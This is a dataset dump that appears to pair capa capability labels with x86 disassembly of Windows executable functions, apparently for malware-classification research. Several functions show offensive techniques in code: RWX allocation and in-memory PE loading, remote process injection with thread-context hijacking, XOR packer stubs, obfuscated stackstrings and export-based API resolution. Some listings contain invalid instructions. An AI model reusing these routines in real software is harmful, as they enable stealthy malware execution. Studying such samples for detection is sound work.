joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4025e0
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp + 8]
push edi
push eax
lea eax, [ebp - 0x104]
mov dword [ebp + 8], 0x104
push eax
mov byte [esi], 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
test eax, eax
je 0x40261d
lea eax, [ebp - 0x104]
push eax
push esi
call edi
push 0x4042f4
push esi
call edi
lea eax, [ebp - 0x208]
push eax
call fcn.00402390
add esp, 4
test eax, eax
je 0x402642
lea eax, [ebp - 0x208]
push eax
push esi
call edi
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x402650
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor ebx, ebx
mov ecx, dword [eax + 0x3c]
push edi
add ecx, eax
push 0x40
push 0x3000
mov dword [ebp - 0x14], ecx
mov eax, dword [ecx + 0x34]
mov ecx, dword [ecx + 0x50]
push ecx
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], ecx
call esi
mov edi, eax
test edi, edi
jne 0x4026a3
push 0x40
push 0x3000
push dword [ebp - 0xc]
push eax
call esi
mov edi, eax
mov dword [ebp - 4], edi
test edi, edi
je 0x402752
mov ecx, dword [ebp + 8]
mov esi, dword [ecx + 0x3c]
add esi, ecx
mov dword [ebp - 8], esi
push dword [esi + 0x54]
movzx eax, word [esi + 0x14]
add eax, 0x18
push ecx
add eax, esi
push edi
mov dword [ebp - 0x10], eax
call fcn.00401240
xor eax, eax
add esp, 0xc
cmp ax, word [esi + 6]
jae 0x402702
mov esi, dword [ebp - 0x10]
add esi, 0x14
xor ebx, ebx
push dword [esi - 4]
mov eax, dword [esi]
add eax, dword [ebp + 8]
push eax
mov eax, dword [esi - 8]
add eax, edi
push eax
call fcn.00401240
mov eax, dword [ebp - 8]
lea esi, [esi + 0x28]
inc ebx
add esp, 0xc
movzx eax, word [eax + 6]
cmp ebx, eax
jb 0x4026d7
mov esi, dword [ebp - 8]
xor ebx, ebx
mov ecx, dword [ebp - 4]
cmp dword [esi + 0x34], ecx
je 0x40271c
push ecx
push edi
call fcn.004028a0
add esp, 8
cmp eax, 1
jne 0x40273b
mov ecx, dword [ebp - 4]
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x402725
mov dword [eax], ecx
mov edx, dword [ebp + 0x14]
test edx, edx
je 0x402736
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x28]
add eax, ecx
mov dword [edx], eax
mov ebx, 1
test edi, edi
je 0x402752
test ebx, ebx
jne 0x402752
push 0x8000
push dword [ebp - 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402760
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
xor esi, esi
add ecx, eax
push 0x40
push 0x3000
mov dword [ebp - 0xc], ecx
mov ebx, dword [ecx + 0x50]
mov eax, dword [ecx + 0x34]
push ebx
push eax
push dword [ebp + 8]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
jne 0x4027b6
push 0x40
push 0x3000
push ebx
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
mov dword [ebp - 4], edi
test edi, edi
je 0x402836
push ebx
call fcn.004011c0
add esp, 4
mov dword [ebp - 8], eax
test eax, eax
je 0x40281e
push dword [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.00402b90
add esp, 0x10
test eax, eax
je 0x402813
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 4]
test eax, eax
je 0x4027e8
mov dword [eax], ecx
mov edx, dword [ebp + 0x18]
test edx, edx
je 0x4027f9
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x28]
add eax, ecx
mov dword [edx], eax
push 0
push ebx
push dword [ebp - 8]
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
mov ecx, 1
cmovne esi, ecx
push dword [ebp - 8]
call fcn.004011f0
add esp, 4
test edi, edi
je 0x402836
test esi, esi
jne 0x402836
push 0x8000
push ebx
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402840
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push 0x24
push 0
push eax
call fcn.00401270
add esp, 0xc
push str.GetNativeSystemInfo
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x402885
lea ecx, [ebp - 0x24]
push ecx
call eax
xor eax, eax
cmp word [ebp - 0x24], 9
sete al
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor eax, eax
cmp word [ebp - 0x24], 9
sete al
mov esp, ebp
pop ebp
ret

Function at 0x4029e0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push 0x40
lea eax, [ebp - 0x50]
mov dword [ebp - 0x54], 0x44
push 0
push eax
call fcn.00401270
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push dword [ebp + 8]
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x402a24
mov esp, ebp
pop ebp
ret
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x402a40
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
cmp byte [eax], 0x4d
jne 0x402ac8
cmp byte [eax + 1], 0x5a
jne 0x402ac8
lea ecx, [ebp + 8]
push ecx
lea ecx, [ebp - 4]
push ecx
push dword [ebp + 0xc]
push eax
call fcn.00402650
add esp, 0x10
cmp eax, 1
jne 0x402ac8
push esi
mov esi, dword [ebp - 4]
push esi
call fcn.00402930
add esp, 4
cmp dword [ebp + 0x10], 1
jne 0x402aa3
push 0
push 0
push esi
push 0x402b70
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
cmp dword [ebp + 0x14], 1
jne 0x402abb
push 0
push 1
push esi
call dword [ebp + 8]
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
call dword [ebp + 8]
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x402ad0
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2cc
push esi
push 0x2c8
lea eax, [ebp - 0x2c8]
mov dword [ebp - 0x2cc], 0x10002
push 0
push eax
call fcn.00401270
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 0x2cc]
add esp, 0xc
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x402b16
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 0
push 4
lea eax, [ebp + 0x10]
push eax
mov eax, dword [ebp - 0x228]
add eax, 8
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x402b0f
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x21c], eax
lea eax, [ebp - 0x2cc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x402b0f
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x402c80
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
lea eax, [ebp - 0x208]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x104]
push eax
push 0
push 0x4042f8
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
cmp dword [ebp + 8], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp + 0xc], eax
je 0x402d1b
test eax, eax
je 0x402d1b
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402d1b
push 0
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x104]
push eax
call fcn.004029e0
add esp, 4
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x403000
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00403090
mov edi, eax
add esp, 8
test edi, edi
je 0x40305f
push esi
mov esi, dword [edi + 0xc]
lea eax, [ebp - 0x1c]
add esi, dword [ebp + 8]
push 0x1c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
cmp eax, 0x1c
jne 0x403057
test byte [ebp - 8], 0x44
je 0x403057
mov ecx, dword [edi + 0x10]
xor eax, eax
test ecx, ecx
je 0x40304c
xor byte [eax + esi], 0x59
inc eax
cmp eax, ecx
jb 0x403043
pop esi
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret
pop esi
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x403170
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
mov ebx, dword [ebp + 8]
xor edx, edx
push esi
push edi
xor esi, esi
mov eax, dword [ebx + 0x3c]
mov eax, dword [eax + ebx + 0x78]
add eax, ebx
mov ecx, dword [eax + 0x1c]
mov edi, dword [eax + 0x24]
add ecx, ebx
mov dword [ebp - 0x18], ecx
add edi, ebx
mov ecx, dword [eax + 0x20]
add ecx, ebx
mov dword [ebp - 0x10], edi
mov dword [ebp - 8], ecx
mov ecx, dword [eax + 0x18]
mov eax, dword [eax + 0x14]
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], eax
test ecx, ecx
je 0x403220
movsx eax, word [edi + esi*2]
mov dword [ebp - 0x14], eax
cmp esi, ecx
jae 0x403234
cmp eax, dword [ebp - 4]
jae 0x403234
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
mov edx, ecx
mov edi, dword [eax + esi*4]
movzx eax, byte [edi + ebx]
add edi, ebx
mov bl, byte [ecx]
or eax, 0x20
movzx ecx, bl
or ecx, 0x20
sub eax, ecx
jne 0x4031fc
sub edi, edx
test bl, bl
je 0x4031fc
mov bl, byte [edx + 1]
inc edx
movzx ecx, bl
or ecx, 0x20
movzx eax, byte [edi + edx]
or eax, 0x20
sub eax, ecx
je 0x4031e3
test eax, eax
js 0x403204
jg 0x403204
je 0x403214
mov ecx, dword [ebp - 0xc]
inc esi
cmp esi, ecx
jae 0x403229
mov ebx, dword [ebp + 8]
mov edi, dword [ebp - 0x10]
jmp 0x4031b1
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x18]
mov edx, dword [edx + eax*4]
add edx, dword [ebp + 8]
pop edi
pop esi
mov eax, edx
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
xor edx, edx
pop esi
mov eax, edx
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x433004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x29936c3f
nop
nop
nop
test eax, eax
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
mov ecx, 0x7064364e
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x40823d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add byte [eax], al
mov edi, dword [eax + 0x3c]
add edi, eax
movzx eax, word [edi + 0x14]
lea esi, [eax + edi + 0x18]
mov dword [ebp - 0x44], esi
call fcn.00408043
dec ecx
xchg esi, eax
invalid

Function at 0x408423
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc ebp
popfd
and dh, al
inc ebp
sahf
sub eax, 0x119f45c6
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.00408053
push eax
push esi
push dword [ebp + 8]
call fcn.00408008
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.00408053
push eax
push esi
push dword [ebp + 8]
call fcn.00408008
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.00408043
push edx
xor eax, 0x9d8806e9
jl 0x4084c8
invalid
invalid
Function at 0x4085a9
Capabilities:
Inspect section memory permissions

Disassembly:
movzx eax, word [ebp + 0xc]
mov ecx, dword [ebp - 0x44]
lea eax, [eax + eax*4]
push dword [ecx + eax*8 + 0x10]
lea eax, [ecx + eax*8]
mov ecx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add ecx, dword [ebp + 0x10]
add eax, esi
push ecx
push eax
call fcn.00407fb4
add esp, 0xc
inc dword [ebp + 0xc]
mov ax, word [ebp + 0xc]
cmp ax, word [edi + 6]
jb 0x408580
call fcn.00408043
and edx, dword [ebx + edi*4 + 0x3c7e8b8b]
add edi, esi
mov dword [ebp - 0x88], edi
mov eax, dword [edi + 0x80]
cmp eax, ebx
je 0x408832
add eax, esi
mov dword [ebp - 0x44], eax
cmp dword [eax + 4], ebx
jne 0x4085e8
cmp dword [eax + 0xc], ebx
je 0x40868b
mov edi, dword [eax + 0xc]
add edi, esi
push edi
call dword [ebp - 0xc0]
mov dword [ebp + 0xc], eax
call fcn.00408043
insd dword es:[edi], dx
aaa
sahf
stosb byte es:[edi], al
cmp dword [ebp + 0xc], ebx
jne 0x408617
push edi
call dword [ebp - 0xb8]
cmp eax, ebx
mov dword [ebp + 0xc], eax
je 0x408832
mov eax, dword [ebp - 0x44]
mov ecx, dword [eax + 0x10]
mov eax, dword [eax]
cmp eax, ebx
lea edi, [ecx + esi]
jne 0x40862b
mov dword [ebp + 0x10], edi
jmp 0x408630
add eax, esi
mov dword [ebp + 0x10], eax
call fcn.00408043
dec ecx
mov ebx, 0x458b8e6f
adc byte [ebx + 0x74c33b00], cl
aaa
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
cmp eax, ebx
je 0x408679
test eax, 0x80000000
lea ecx, [eax + esi]
je 0x408654
and eax, 0xffff
push eax
jmp 0x408658
add ecx, 2
push ecx
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00408008
add esp, 0xc
cmp edi, ebx
mov dword [edi], eax
je 0x408832
add edi, 4
add dword [ebp + 0x10], 4
jmp 0x408639
add dword [ebp - 0x44], 0x14
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp - 0x44]
jmp 0x4085da
call fcn.00408043
imul ebx, dword ss:[esi + 0x6b], 0xa0878b
add byte [eax], al
cmp eax, ebx
je 0x4086f7

Function at 0x40869e
Capabilities:
Inspect section memory permissions

Disassembly:
add eax, esi
cmp dword [eax], ebx
je 0x4086f7
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x4086f2
mov ecx, dword [ebp + 8]
add eax, dword [eax + 4]
jmp 0x4086a0
mov dword [ebp + 0xc], ebx
jmp 0x408702
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x40871a
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x408738
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x408796
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x40877d
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x408786
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x408790
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x408772
inc dword [ebp + 0xc]
Function at 0x408799
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x4086fc
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x4087e3
dec eax
je 0x4087da
sub eax, 3
je 0x4087d1
mov dword [ebp - 4], 0x40
jmp 0x408800
mov dword [ebp - 4], 4
jmp 0x4087e6
mov dword [ebp - 4], 0x20
jmp 0x4087e6
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
invalid
Function at 0x10003520
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x10028040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [0x10060278]
push esi
push eax
mov dword [edi + 0x154], 1
lea eax, [edi + 0x15c]
lea ebx, [edi + 0x154]
push eax
call fcn.1000a6c0
add esp, 0xc
mov dword [edi + 0x158], esi
add esi, 8
je 0x100035f2
mov eax, dword [edi]
test eax, eax
je 0x100035a1
mov eax, dword [eax + 4]
cmp eax, 0xffffffff
je 0x100035a1
test ebx, ebx
je 0x100035a1
push 0
lea ecx, [ebp - 8]
mov dword [ebp - 8], 0
push ecx
push esi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp eax, 1
jne 0x100035a1
cmp dword [ebp - 8], esi
je 0x100035f2
mov ecx, dword [edi + 0xc]
test ecx, ecx
je 0x100035c1
mov eax, dword [edi + 4]
cmp eax, 3
je 0x100035b5
cmp eax, 1
jne 0x100035c1
lea eax, [edi + 0x54]
push eax
push dword [edi + 0x50]
call ecx
add esp, 8
mov esi, dword [edi]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 4], 0xffffffff
xor al, al
mov byte [esi], 0
mov dword [edi + 4], 0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10007f7e
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10007f7e
mov esp, ebp
pop ebp
ret 8
Function at 0x1001038c
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x100103cb
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x100103cb
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x100103cb
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x100103cb
cmp dword [ecx + 0x74], 0xe
jbe 0x100103cb
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x10011706
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1002043c
push 0x10020434
push str.FlsAlloc
push 0x1f
call fcn.100115e2
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001173a
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001e15c]
call esi
jmp 0x10011740
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10011784
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1002044c
push 0x10020444
push str.FlsGetValue
push 0x21
call fcn.100115e2
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100117bb
push dword [ebp + 8]
mov ecx, esi
call dword [0x1001e15c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x100117c3
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10020454
push 0x1002044c
push str.FlsSetValue
push 0x22
call fcn.100115e2
mov esi, eax
add esp, 0x10
test esi, esi
je 0x100117fd
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1001e15c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x10014eef
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10014f8c
push ebx
push esi
call fcn.10014eb8
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10014e4c
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10014f39
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10014f8b
push edi
push eax
call fcn.10011f1e
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10014f59
call fcn.1001148f
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10014f8a
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10014e4c
add esp, 0x20
test eax, eax
jne 0x10014f78
push edi
call fcn.1001148f
jmp 0x10014f80
push ebx
call fcn.1001148f
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x1001c800
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1001c82d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1001c82d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x406371
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, str.C:UsersADMINI1AppDataLocalTemp_nsi537C.tmp
push esi
call fcn.00405de7
push esi
call fcn.00405b36
mov edi, eax
test edi, edi
jne 0x406392
xor eax, eax
jmp 0x4063f0
push edi
call fcn.00405e16
test byte [0x42a588], 0x80
je 0x4063af
movzx eax, word [edi]
test ax, ax
je 0x40638e
cmp ax, 0x5c
je 0x40638e
sub edi, esi
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
sar edi, 1
jmp 0x4063d1
push esi
call fcn.00405ec7
test eax, eax
je 0x4063cb
test byte [eax], 0x10
je 0x4063f5
push esi
call fcn.00406344
push esi
call ebx
cmp eax, edi
jg 0x4063bc
push esi
call fcn.00406315
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop ebx
pop edi
pop esi
ret 4
xor eax, eax
jmp 0x4063ef
Function at 0x49a903
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
lea eax, [ebp - 8]
mov ebx, ecx
push eax
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov dword [ebp - 4], eax
test eax, eax
jne 0x49a926
xor al, al
jmp 0x49a9c0
push eax
call fcn.0049c24e
pop ecx
push eax
push dword [ebp - 4]
mov dword [ebx + 0x40], eax
push dword [ebp - 8]
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
je 0x49a91f
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc]
push eax
push 0x4e09e8
push dword [ebx + 0x40]
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x49a91f
push esi
mov esi, dword [ebp - 0xc]
lea eax, [ebp - 4]
push edi
push 0xd
pop ecx
push eax
lea eax, [ebp - 0x10]
push eax
lea edi, [ebx + 4]
push str.VarFileInfoTranslation
rep movsd dword es:[edi], dword [esi]
push dword [ebx + 0x40]
call sub.VERSION.dll_VerQueryValueW
pop edi
pop esi
test eax, eax
je 0x49a9be
mov eax, dword [ebp - 4]
xor ecx, ecx
shr eax, 2
push 4
pop edx
mov dword [ebx + 0x3c], eax
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0049c24e
xor edx, edx
mov dword [ebx + 0x38], eax
pop ecx
cmp dword [ebx + 0x3c], edx
jbe 0x49a9be
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebx + 0x38]
mov eax, dword [eax + edx*4]
mov dword [ecx + edx*4], eax
inc edx
cmp edx, dword [ebx + 0x3c]
jb 0x49a9ac
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x430003
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp loc.00401219